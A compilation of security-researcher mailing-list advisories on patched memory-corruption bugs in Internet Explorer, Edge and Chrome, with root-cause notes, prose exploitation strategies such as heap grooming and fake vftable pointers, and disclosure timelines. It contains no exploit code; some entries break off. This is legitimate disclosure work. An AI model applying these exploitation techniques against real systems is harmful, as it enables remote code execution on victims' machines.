CVE-2014-4138: MSIE 11 MSHTML CPaste­Command::Convert­Bitmapto­Png heap-based buffer overflow

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 37th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161221001.html. There you can find a repro
that triggered this issue in addition to the information below, as well
as a Proof-of-Concept exploit that attempts to prove exploitability.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 11 MSHTML CPasteCommand::ConvertBitmaptoPng heap-based BOF
===
(MS14-056, CVE-2014-4138)

Synopsis

A specially crafted web-page can trigger an out-of-bounds write in
Microsoft Internet Explorer 11. Code that handles pasting images from
the clipboard uses an incorrect buffer length, which allows writing
beyond the boundaries of a heap-based buffer. An attacker able to
trigger this vulnerability can execute arbitrary code.

Known affected software, attack vectors and potential mitigations
-
* **Microsoft Internet Explorer 11.0.9600.16521**

  An attacker would need to get a target user to open a specially
  crafted web-page. In order to trigger the issue, the web-page needs
  to either programmatically copy/paste an image using Javascript or
  get the user to do this (for instance by tricking the user into
  typing keyboard shortcuts such as CTRL+C/CTRL+V) . By default, MSIE
  prompts the user to allow or disallow programmatically copy/pasting
  the first time a website tries to do this, so user-interaction is
  normally required in such cases. Disabling the `Allow Programmatic
  clipboard access` setting in `Internet Options` -> `Security
  Settings` -> [Choose a zone] -> `Scripting` should prevent websites
  from programmatically copy/pasting an image. Disabling execution of
  scripts on web-pages altogether will have the same effect. Please
  note that neither option prevents a website from social engineering
  the user into typing a keyboard shortcut to copy/paste the image.

Details
---
When an image is pasted in MSHTML, it gets converted from BMP format to
PNG. This is done in the `MSHTML!CPasteCommand::ConvertBitmaptoPng`
function. This function incorrectly uses the size of the original BMP
image to allocate memory for storing the converted PNG image. The PNG
image will be smaller than the BMP under most circumstances, but if a
specially crafted image leads to the original BMP image being smaller
than the converted PNG, the function will write PNG data beyond the
bounds of the allocated memory.

Exploit
---
An attacker looking to exploit this issue will commonly attempt to get
the memory allocated to store the PNG image in a location that is
followed by a pre-allocated memory block that contains information the
attacker would like to modify. Using the buffer overflow, the attacker
can overwrite this pre-allocated memory block with attacker controlled
data. Depending on the type of the pre-allocated memory, this could
allow the attacker to read or modify arbitrary information within the
process and take control of execution flow. No attempt was made to
create a Proof-of-Concept that shows this level of control.

Time-line
-
* 8 May 2014: This vulnerability was submitted to ZDI.
* 9 June 2014: This vulnerability was acquired by ZDI.
* 23 June 2014: This vulnerability was disclosed to Microsoft by ZDI.
* 14 October 2014: This vulnerability was address by Microsoft in
  MS14-056.
* 21 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2014-1785: MSIE 11 MSHTML CSpliceTreeEngine::RemoveSplice use-after-free

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 36th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161220001.html. There you can find a repro
that triggered this issue in addition to the information below, as well
as a Proof-of-Concept exploit that attempts to prove exploitability.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 11 MSHTML CSpliceTreeEngine::RemoveSplice use-after-free
=
(MS14-035, CVE-2014-1785)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 11. There is sufficient time between the
free and reuse for an attacker to control the contents of the freed
memory and exploit the vulnerability.

Known affected software, attack vectors and potential mitigations
-
* Microsoft Internet Explorer 11

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
This was one of the first bugs where I attempted to do a proper
analysis, and I got some feedback from ZDI that explained what I got
right and what I got wrong. Basically, on x86, a 0x28 byte memory block
is allocated in `MSHTML!CMarkup::DoEmbedPointers` and when you execute
`document.execCommand("Delete")`. This memory can be freed when you
execute `document.open()` in a `DOMNodeRemoved` event handler. After
that, you can use Javascript to reallocate the memory before it is reused.

Time-line
-
* 30 December 2013: This vulnerability was submitted to ZDI.
* 8 January 2014: This vulnerability was acquired by ZDI.
* 14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
* 10 June 2014: This vulnerability was address by Microsoft in MS14-035.
* 20 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2013-0090: MSIE 9 IEFRAME CView::EnsureSize use-after-free

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 34th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161216001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CView::EnsureSize use-after-free
===
(MS13-021, CVE-2013-0090)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. I did not investigate this
vulnerability thoroughly, so I cannot speculate on the potential impact
or exploitability.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. ZDI
revealed that this was a use-after-free vulnerability in their advisory
at http://www.zerodayinitiative.com/advisories/ZDI-13-097/.

Time-line
-
* Sometime in October 2012: This vulnerability was found through
  fuzzing.
* 29 October 2012: This vulnerability was submitted to EIP.
* 27 November 2013: This vulnerability was rejected by EIP.
* 14 January 2013: This vulnerability was submitted to ZDI.
* 6 February 2013: This vulnerability was acquired by ZDI.
* 13 February 2013: This vulnerability was disclosed to Microsoft by
  ZDI.
* 29 May 2013: This vulnerability was address by Microsoft in MS13-021.
* 14 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

MSIE 9 IEFRAME CMarkup­Pointer::Move­To­Gap use-after-free

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 33rd entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161215001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CMarkupPointer::MoveToGap use-after-free
===
(The fix and CVE number for this issue are not known)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. The use appears to happen only once
almost immediately after the free, which makes practical exploitation
unlikely.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
It appears there is an implementation bug in the `splitText` method of
`CDATASection` (Text) objects in SVG. `splitText` should split a `Text`
node into two `Text` nodes, by creating a new `Text` node and moving
some of the text data from the original node to the new node. After
this, each node contains a sub-string of the original text.

The bug can be triggered by calling this method with zero as the index
argument on a `CDATASection` which contains some text. In this case, the
code will return a new `Text` node that contains the entire text but it
does not remove the text from the original node. I am speculating that
this causes an additional reference to the test data without increasing
its reference counter. This failure to increase the reference counter
can cause this reference counter to drop to zero before all references
are destroyed.

Time-line
-
* Unknown date: This vulnerability was found through fuzzing.
* 12 December 2012: This vulnerability was submitted to EIP.
* 21 January 2013: This vulnerability was rejected by EIP.
* Unknown date: This vulnerability was address by Microsoft.
* 15 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2013-3143: MSIE 9 IEFRAME CMarkup..Remove­Pointer­Pos use-after-free

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 32nd entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161214001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CMarkup..RemovePointerPos use-after-free
===
(MS13-055, CVE-2013-3143)

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. I did not investigate this
vulnerability thoroughly, so I cannot speculate on the potential impact
or exploitability.

Known affected software and attack vectors
--
* **Microsoft Internet Explorer 9**

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. ZDI
revealed that this was a use-after-free vulnerability, though their
advisory (at http://www.zerodayinitiative.com/advisories/ZDI-13-163/)
mentions an iframe, which is not in the repro I provided.

Time-line
-
* Sometime in November 2012: This vulnerability was found through fuzzing.
* 11 November 2012: This vulnerability was submitted to EIP.
* 10 December 2012: This vulnerability was rejected by EIP.
* 12 December 2012: This vulnerability was submitted to ZDI.
* 25 January 2013: This vulnerability was acquired by ZDI.
* 15 February 2013: This vulnerability was disclosed to Microsoft by
  ZDI.
* 26 July 2013: This vulnerability was address by Microsoft in MS13-055.
* 14 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined



signature.asc
Description: OpenPGP digital signature

MSIE 9 MSHTML CMarkup::ReloadInCompatView use-after-free

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the thirty-first entry
in the series. This information is available in more detail on my blog
at http://blog.skylined.nl/20161213001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE9 MSHTML CMarkup::ReloadInCompatView use-after-free
===
(The fix and CVE number for this issue are not known)

Synopsis


A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. During a method call, the `this`
object can be freed and then continues to be used by the code that
implements the method. It appears that there is little to no time for an
attacker to attempt to control the contents of the freed memory before
the re-use, which would allow remote code execution.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9
  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
By switching the a document's `designMode` property to `on` in a
deferred script, MSIE 9 can be made to reload a web page using
`CMarkup::ReloadInCompatView`. This method calls
`CDoc::CompatViewRefresh`, which indirectly calls
`CScriptCollection::~CScriptCollection`, which releases the `CMarkup`
object used as `this` in `CMarkup::ReloadInCompatView`.

The relevant stack for the freeing of this `CMarkup` object is:
```
76e8c484 kernel32!HeapFree+0x0014
6780c4d8 MSHTML!CMarkup::`vector deleting destructor'+0x0026
6776fb9b MSHTML!CScriptCollection::~CScriptCollection+0x0152
67816a0d MSHTML!CScriptCollection::Release+0x0053
6751f7e7 MSHTML!CWindow::SuperNavigateInternal+0x04c4
675209f7 MSHTML!CWindow::SuperNavigate2WithBindFlags+0x0032
679b05f8 MSHTML!CDoc::CompatViewRefresh+0x00a0
679c00d4 MSHTML!CMarkup::ReloadInCompatView+0x021f
```

Immediately after returning to `CMarkup::ReloadInCompatView`, the code
will use the (now freed) `CMarkup` object. When page heap is enabled,
this lead to an immediate access violation.

Exploit
---
I did not immediately find a way to control the freed memory before the
reuse following the `CDoc::CompatViewRefresh` call. I did not
immediately find other locations in the code where the same stale
pointer to the `CMarkup` object is used after it has been freed. It may
not be possible to exploit this use-after-free, as there does not appear
to be an easy window of opportunity to modify the freed memory before
its reuse.

However, when loading the repro in MSIE with page heap disabled, I do
see crashes from time to time, but in different locations in the code.
This indicates that one or more of the following should be true:
* There are ways to modify the freed `CMarkup` object before it is
  reused.
* There are other locations where the freed `CMarkup` object is used
  after it has been freed, and the freed `CMarkup` object can be
  modified before this happens.
* There could be other stale pointers to freed memory that get reused,
  and there are ways to modify the freed memory they point to before
  that reuse.

As these other crash stacks do not include
`CMarkup::ReloadInCompatView`, it seems most likely that they are caused
by the second or third option, which could indicate that the bug is in
fact exploitable.

Time-line
-
* 5 May 2014: This vulnerability was found through fuzzing.
* 14 May 2014: This vulnerability was submitted to ZDI.
* 3 July 2014: This vulnerability was rejected by ZDI.
* 9 July 2014: This vulnerability was submitted to EIP.
* July/August 2014: This vulnerability was rejected by EIP.
* 13 August 2014: This vulnerability was submitted to iDefense.
* Date unknown: This issue was withdrawn from iDefense.
* Date unknown: This vulnerability was address by Microsoft.
* 13 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

MSIE 9 MSHTML CElement::Has­Flag memory corruption

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the twenty-ninth entry
in the series. This information is available in more detail on my blog
at http://blog.skylined.nl/20161209001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 MSHTML CElement::HasFlag memory corruption
=
(The fix and CVE number for this issue are not known)

Synopsis

A specially crafted web-page can trigger a memory corruption
vulnerability in Microsoft Internet Explorer 9. I did not investigate
this vulnerability thoroughly, so I cannot speculate on the potential
impact or exploitability.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Details
---
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. In
addition, EIP said they were already aware of the bug and provided no
details, this issue appears to have been fixed before ZDI was able to
look at it.

Time-line
-
* 27 September 2012: This vulnerability was found through fuzzing.
* 7 November 2012: This vulnerability was submitted to EIP.
* 27 November 2012: This vulnerability was rejected by EIP.
* 28 November 2012: This vulnerability was submitted to ZDI.
* Between December 2012 and February 2013: Microsoft addresses this
  vulnerability.
* 27 February 2012: This vulnerability was rejected by ZDI.
* 8 December 2016: Details of this vulnerability are released.

I would like to note that although ZDI did not acquire the vulnerability
as it was patched before they could finish analysis, they did offer me
ZDI reward points as a courtesy.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2013-1306: MSIE 9 MSHTML CDisp­Node::Insert­Sibling­Node use-after-free details

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the twenty-eighth entry
in the series. This information is available in more detail on my blog
at http://blog.skylined.nl/20161208001.html. There you can find a repro
that triggered this issue in addition to the information below.

Today's release is again not very interesting, because it also was one
of the first bugs I found and reported back in 2012, before I had
developed the tools and skills to properly analyze MSIE bugs. This
report is therefore very scarce in information. I did get some more
details from EIP about the root cause, which I've included.

If you find this information useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 MSHTML CDispNode::InsertSiblingNode use-after-free
=
(MS13-037, CVE-2013-1306)

Synopsis

A specially crafted web-page can trigger a memory corruption
vulnerability in Microsoft Internet Explorer 9. I did not investigate
this vulnerability thoroughly, so I cannot speculate on the potential
impact or exploitability.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9
  An attacker would need to get a target user to open a specially
  crafted web-page. JavaScript does not appear to be required for an
  attacker to triggering the vulnerable code path.

Details
---
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. The EIP
provided me with some details of their analysis, which I'll paraphrase
here: It is a use-after-free vulnerability where the span object in the
frame.html file is reused after being freed. It appears to be impossible
to reallocate the freed memory before it is reused. Part of the freed
memory is overwritten when it is freed because a WORD `FreeEntryOffset`
value is stored at offset 0. This value is then used as part of a
pointer to a vftable in order to call a method. This pointer now consist
of the upper 16-bits of the old vftable and the lower 16-bits contain
the `FreeEntryOffset` value. Exploitation is near impossible without a
way to have more control over this pointer in the freed memory block.
ZDI also did a more thorough analysis and [provide very similar details
in their advisory at
http://www.zerodayinitiative.com/advisories/ZDI-13-082/

Time-line
-
* 27 September 2012: This vulnerability was found through fuzzing.
* 3 October 2012: This vulnerability was submitted to EIP.
* 11 October 2012: This vulnerability was rejected by EIP.
* 2 November 2012: This vulnerability was submitted to ZDI.
* 19 November 2012: This vulnerability was acquired by ZDI.
* 22 January 2013: This vulnerability was disclosed to Microsoft by ZDI.
* 29 May 2013: Microsoft addresses this vulnerability in MS13-037.
* 8 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2015-1730: MSIE jscript9 Java­Script­Stack­Walker memory corruption details and PoC

[Berend-Jan Wever]

Since November I have been releasing details on all vulnerabilities I
found in web-browsers that I had not released before. I will try to
continue to publish all my old vulnerabilities, including those not in
web-browser, as long as I can find some time to do so. If you find this
information useful, you can help me make more time available by donating
bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.

This is the twenty-sixth entry in the series. This information is
available in more detail on my blog at
http://blog.skylined.nl/20161206001.html. There you can find repros
that triggered this issue in addition to a Proof-of-Concept exploit, as
well as the information below.

Today's release is interesting, in part because it is an odd
vulnerability that I've not seen before or since: it's like a
stack-based use-after-free. The time-line is also interesting in that
ZDI first did not believe it to be exploitable and EIP thought it was a
duplicate of a bug they had already reported to Microsoft. Both turned
out to be wrong. Then I reported it to iDefense as well, who
accidentally send the details over plain-text email, causing ZDI to
reject my submission for fear of the bug leaking to the public. Luckily
for me, iDefense did end up acquiring the bug.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE jscript9 JavaScriptStackWalker memory corruption
=
(MS15-056, CVE-2015-1730)

Synopsis

A specially crafted web-page can trigger a memory corruption
vulnerability in Microsoft Internet Explorer 9. A pointer set up to
point to certain data on the stack can be used after that data has been
removed from the stack. This results in a stack-based analog to a heap
use-after-free vulnerability. The stack memory where the data was stored
can be modified by an attacker before it is used, allowing remote code
execution.

Known affected software and attack vectors
--
* Microsoft Internet Explorer 9

  An attacker would need to get a target user to open a specially
  crafted web-page. Disabling JavaScript should prevent an attacker
  from triggering the vulnerable code path.

Description
---
MSIE attempts to handle stack exhaustion caused by excessive recursion
in Javascript gracefully by generating a JavaScript exception. While
generating the exception, information about the call stack is gathered
using the JavascriptStackWalker class. It appears that the code that
does this initializes a pointer variable on the stack the first time it
is run, but re-uses it if it gets called a second time. Unfortunately,
the information the pointer points to is also stored on the stack, but
is removed from the stack after the first exception is handled. Careful
manipulation of the stack during both exceptions allow an attacker to
control the data the pointer points to during the second exception.

Exploit
---
The vulnerable pointer points to valid stack memory during the first
exception, but it is "popped" from the stack before the second. In order
to exploit this vulnerability, the code executed during the first
exception is going to point this pointer to a specific area of the
stack, while the code executed during the second is going to allocate
certain values in that same area before the pointer is re-used.

Control over the stack contents during a stack exhaustion can be
achieved by making the recursive calls with many arguments, all of which
are stored on the stack. This is similar to a heap-spray storing values
on large sections of the heap in that it is not entirely deterministic,
but the odds are very highly in favor of you setting a certain value at
a certain address.

Further details of how to exploit this issue can be found in my blog at
http://blog.skylined.nl/20161206001.html

Time-line
-
* 13 October 2012: This vulnerability was found through fuzzing.
* 29 October 2012: This vulnerability was submitted to EIP.
* 18 November 2012: This vulnerability was submitted to ZDI.
* 27 November 2012: EIP declines to acquire this vulnerability because
  they believe it to be a copy of another vulnerability they already
  acquired.
* 7 December 2012: ZDI declines to acquire this vulnerability because
  they believe it not to be exploitable.

During the initial report detailed above, I did not have a working
exploit to prove exploitability. I also expected the bug to be fixed
soon, seeing how EIP believed they already reported it to Microsoft.
However, about two years later, I decided to look at the issue again and
found it had not yet been fixed. Apparently it was not the same issue
that EIP reported to Microsoft. So, I decided to try to have another
look and developed a Proof-of-Concept exploit.

* April 2014: I start working on this case again, and eventually
  develop a working Proof-of-Concept exploit.
* 6 November 2014: ZDI was informed of the new analysis and reopens the
  case.
* 15 November

Re: CVE-2016-3222: MS Edge CBaseScriptable::PrivateQueryInterface memory corruption

[Berend-Jan Wever]

FYI: this link to my blog was 404 until early this morning. It is now up
if you are still interested in reading it.

On 05-12-2016 11:55, Berend-Jan Wever wrote:
> Since November I have been releasing details on all vulnerabilities I
> found in web-browsers that I had not released before. I will try to
> continue to publish all my old vulnerabilities, including those not in
> web-browser, as long as I can find some time to do so. If you find this
> information useful, you can help me make some time available by donating
> bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.
> 
> This is the twenty-fifth entry in the series. This information is
> available in more detail on my blog at
> http://blog.skylined.nl/20161205001.html. There you can find repros
> that triggered this issue in addition to the information below.
> 
> Today's release is interesting, as I accidentally published a repro for
> this as part of #DailyBug on twitter in May of this year, believing at
> the time that it was a simple NULL pointer:
> https://twitter.com/berendjanwever/status/729957166447218688
> I found out not to long after that, that it was actually a security
> vulnerability. Details on how this happened are below.
> 
> Follow me on http://twitter.com/berendjanwever for daily browser bugs.
> 
> MS Edge CBaseScriptable::PrivateQueryInterface memory corruption
> 
> (MS16-068, CVE-2016-3222)
> 
> Synopsis
> 
> A specially crafted web-page can trigger a memory corruption
> vulnerability in Microsoft Edge. I did not investigate this
> vulnerability thoroughly, so I cannot speculate on the potential impact
> or exploitability.
> 
> Known affected software and attack vectors
> --
> * Microsoft Edge
>   An attacker would need to get a target user to open a specially
>   crafted web-page. Disabling JavaScript does not prevent an attacker
>   from triggering the vulnerable code path.
> 
> Discovery
> -
> This issue was found through fuzzing in the 64-bit version of Microsoft
> Edge, in which the original repro triggered what appeared to be a NULL
> pointer dereference in `CBaseScriptable::PrivateQueryInterface`. So,
> after a very brief look at the repro, I filed a bug in the public Edge
> bug tracker and published it on twitter as part of #DailyBug.
> 
> Soon after, I found another repro that trigger a slightly different NULL
> pointer dereference in `CBaseScriptable::PrivateQueryInterface` in a
> 64-bit version of Edge.
> 
> I never tested the these two repros in a 32-bit version of Edge before
> publishing them, which I immediately regretted after finding that the
> second repro triggered an access violation using the obviously non-NULL
> address 0x1BF37D8 in a 32-bit version of Edge!
> 
> Around this time, I started finding many variations of this bug: getting
> the type of various properties or objects associated with another window
> was triggering all kinds of access violations. Many of these were not
> using NULL pointers on 32-bit Edge.
> 
> I looked again at the original `crypto` repro and noticed that although
> it triggered an access violation using a NULL pointer on both 32-bit and
> 64-bit versions of Edge, the two addresses (3 and 8 respectively) had
> different alignment. This is rather odd: true NULL pointer dereferences
> can cause an access violation at a different offset from NULL on these
> two architectures because property values and pointers stored before the
> one being read/written can have different sizes on 32-bit and 64-bit
> systems, but one usually expects them to have similar alignment: the
> last two bits of the address should be the same.
> 
> Report
> --
> If only I had tested the original repro in a 32-bit version of Edge when
> I first analyzed the issue, I might have realized it was more than a
> simple NULL pointer and not published it before doing additional research.
> 
> I contacted ZDI and asked if they would be interested in buying the
> vulnerability at this point, given that I publicly released the repro
> that triggered a NULL pointer and filed it with Microsoft. I was hoping
> they would decide that this did not disclose the underlying
> vulnerability and that it as such would still be a 0-day. Unfortunately
> for me, they were not interested in acquiring details in this situation.
> 
> At that point I decided to contact the Microsoft Security Response
> Center and report the additional information I had found. I also
> contacted a few people working on the Edge team at Microsoft directly to
> let them know they might want to escalate this bug from a simple NULL
> pointer to a security vulnerability. 

Google Chrome Accessibility blink::Node corruption details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twenty-first entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161129001.html. There you can find a repro
that triggered this issue and relevant code snippets in addition to the
information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Google Chrome Accessibility blink::Node corruption
==
(The fix and CVE number for this issue are unknown)

Synopsis

A specially crafted web-page can trigger an unknown memory corruption
vulnerability in Google Chrome Accessibility code. An attacker can
cause code to attempt to execute a method of an object using a vftable,
when the pointer to that object is not valid, or the object is not of
the expected type. Successful exploitation can lead to arbitrary code
execution.

Known affected software and attack vectors
--
* Chrome 48.0.2540.0 dev-m

  An attacker would need to get a target user to open a specially
  crafted webpage. Renderer accessibility must be enabled through the
  "--force-renderer-accessibility" command-line option. Disabling
  JavaScript will not prevent an attacker from triggering the
  vulnerable code path.

Description
---
Repeatedly loading two different pages in an iframe can cause the
accessibility code to crash. This crash can happen in two different code
paths, which are similar and both end up crashing because of a corrupt
`blink::Node` instance. The first code path calls
`blink::isDisabledFormControl` with the corrupt `blink::Node` instance
as an argument from `AXNodeObject::canSetFocusAttribute`. This causes an
access violation when `blink::isDisabledFormControl` attempts to call
the `isDisabledFormControl` method on the corrupt `blink::Node` instance.

The second code path calls `blink::Element::fastGetAttribute` with the
corrupt `blink::Node` instance as an argument from
`blink::AXObject::getAttribute`.

This can cause an access violation at various locations along the code
path, but almost certainly does so if the code reaches the part where it
attempts to match the attribute name, as the
`blink::AttributeCollectionGeneric<...>` was taken from a corrupt
`blink::Node` instance and that data is therefore almost certainly
completely invalid.

Exploit
---
Is is unclear to me why the `blink::Node` instance was corrupted. During
analysis, I was having trouble running Google Chrome with Page Heap
enabled, which severely limited my ability to reliably crash the
application and find out what information on the heap belongs to what
object. Then, before I could get my debugging environment fixed, the
issue appears to have been fixed, as I was no longer able to reproduce
it. Any information on exploitability is therefore based on speculation.

An attacker who is able to trigger the issue reliably, and has some
control over the corrupted `blink::Node` instance that is returned, or
heap memory in this area, may be able to control execution flow through
the `blink::isDisabledFormControl` call, as this uses information from
the corrupted `blink::Node` instance as a pointer to a vftable.

Time-line
-
* October 2015: This vulnerability was found through fuzzing.
* November 2016: Details of this issue are released.

(This issue was never reported, as I was struggling with my debugging
environment, as described above. At some point after I discovered it,
this issue appears to have been fixed, as evidenced by the repro no
longer working. However, I have no exact date, nor a fix number to
provide here).

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2015-1251: Chrome blink Speech­Recognition­Controller use-after-free details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
seventeenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161123001.html. There you can find a repro
that triggered this issue, snippets from the vulnerable source and more
details in addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Chrome blink SpeechRecognitionController use-after-free
===
(Chromium 455857, CVE-2015-1251)

Synopsis

A specially crafted web-page can cause the blink rendering engine used
by Google Chrome and Chromium to continue to use a speech recognition
API object after the memory block that contained the object has been
freed. An attacker can force the code to read a pointer from the freed
memory and use this to call a function, allowing arbitrary code execution.

Known affected software and attack vectors
--
+ Google Chrome 39.0

  An attacker would need to get a target user to open a specially
  crafted webpage. Disabling Javascript should prevent an attacker from
  triggering the vulnerable code path.

Description
---
Creating a `webkitSpeechRecognition` Javascript object in a popup window
before closing the popup frees a C++ object used internally by the
speech recognition API code but leaves a dangling pointer to the freed
memory in another C++ object. When the `start()` Javascript method is
called, this dangling pointer is used to try to read a function pointer
from a virtual function table and call that function. An attacker has
ample time to groom the heap between the free and re-use in order to
control the function pointer used by the code, allowing arbitrary code
execution.

Exploit
---
An attacker looking to exploit this issue is going to want to try and
control the contents of the freed memory, before getting the code to use
the dangling pointer to call a virtual function. Doing so would allow an
attacker to execute arbitrary code. This is made possible because steps
5 and 6 can both be triggered at a time of the attackers choosing,
giving the attacker the ability to free the memory in step 5 whenever
this is convenient and attempt to reallocate and fill it with any data
before executing step 6. This should allow an attacker to create a fake
`vftable` pointer and gain arbitrary code execution. In order to develop
a working exploit, existing mitigations will need to be bypassed, most
significantly ASLR and DEP. As this vulnerability by itself does not
appear to allow bypassing these mitigations, I did not develop a working
exploit for it.

Time-line
-
* November 2014: This vulnerability was found through fuzzing.
* December 2014: This vulnerability was submitted to ZDI and iDefense.
* January 2015: This vulnerability was acquired by ZDI.
* February 2015: This vulnerability was fixed in revision 190993.
* May 2015: This vulnerability was addressed by Google in
  Chrome 43.0.2357.65.
* November 2016: Details of this issue are released.

Cheers,

SkyLined


0x2557C5AA.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

CVE-2015-0050: Microsoft Internet Explorer 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read details

[Berend-Jan Wever]

Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
sixteenth entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161122001.html. There you can find a repro
that triggered this issue in addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

